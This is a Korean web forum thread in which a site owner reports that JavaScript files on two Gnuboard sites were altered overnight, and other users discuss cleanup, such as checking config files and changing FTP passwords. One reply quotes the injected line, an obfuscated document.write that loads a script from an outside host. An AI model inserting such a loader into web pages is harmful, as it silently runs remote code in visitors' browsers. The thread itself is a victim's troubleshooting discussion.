테스트 사이트 - 개발 중인 베타 버전입니다

js 폴더내에 파일들이 자동으로 업데이트 되버리네요

· 15년 전 · 1764 · 5
2.jpg
snap.jpg
전에도 같은 글을 올렸는데

http://sir.co.kr/bbs/board.php?bo_table=g4_qa&wr_id=165439

답글 주신분이 자동으로 파일을 건드리지는 않는다고 하셨거든요.

근데 오늘 다시 홈피를 열어보니까 하단에 노란색 느낌표가 뜨더라구요

클릭해보니까 "식별자가 필요합니다" 라고 메시지가 뜨고요

ftp 접속을 해보니 사진처럼 js 폴더내에 모든 파일이 8월25일자로 업데이트가 되있는거에요

뭐 제가 실수로 그랬다거나 모르는사람이 접속해서 바꿔놓거나 그런건 절대 아닙니다.

그누보드 사용한 홈피 2개가 전부 그러니까요. 새벽시간에 업데이트가 되버렸더라구요.

원본을 가지고 있으니까 덮어씌우면 괜찮겠지만 매번 이럴수도 없고 원인을 알아야 겠는데

아시는 분이 없네요.

해당 사이트는 www.maum515.com 과 www.luxury-su.com 입니다.

원본은 잠시뒤에 덮어씌우기 하겠습니다. 확인좀 해주세요.

감사합니다.

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

댓글 5개

바뀐 js 파일들을 보니까 하나같이 하단에 아래 내용이 자동으로 첨가가 되있네요

document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Caps_Lock.js"></scri'+'pt>');

바이러스인가요?
15년 전
저 파일만 변조 되진 않았을거 같은데요.

저도 걸린적이 있어서 ㅜㅜ
다른 파일 도 살펴 보세요.

이상한 파일이 업로드 되어있을겁니다.
푸른마을님 바이러스가 맞는건가요?
해결은 어떻게 하셨어요?
다른건 잘 모르겠어요 js 폴더만 계속 덮어씌우기 해서 해결하고 있습니다.
15년 전
바이러스 라고 단정은 못짓지만 html파일이 있다면 해당 페이지에서도 위같은 비슷한 코드가 들어가 있었구요.

config 관련 파일도 변조가 되어있었구요.

일단 모든 파일다 보고 수정한다음에 FTP 계정 암호 변경 했습니다.

그후론 잠잠하네요.
좋은답변 감사드립니다.

게시글 목록

번호 제목
284508
284499
284492
284490
284484
284481
284478
284476
284474
284472
284470
284458
284457
284454
284453
284447
284446
284444
284441
284440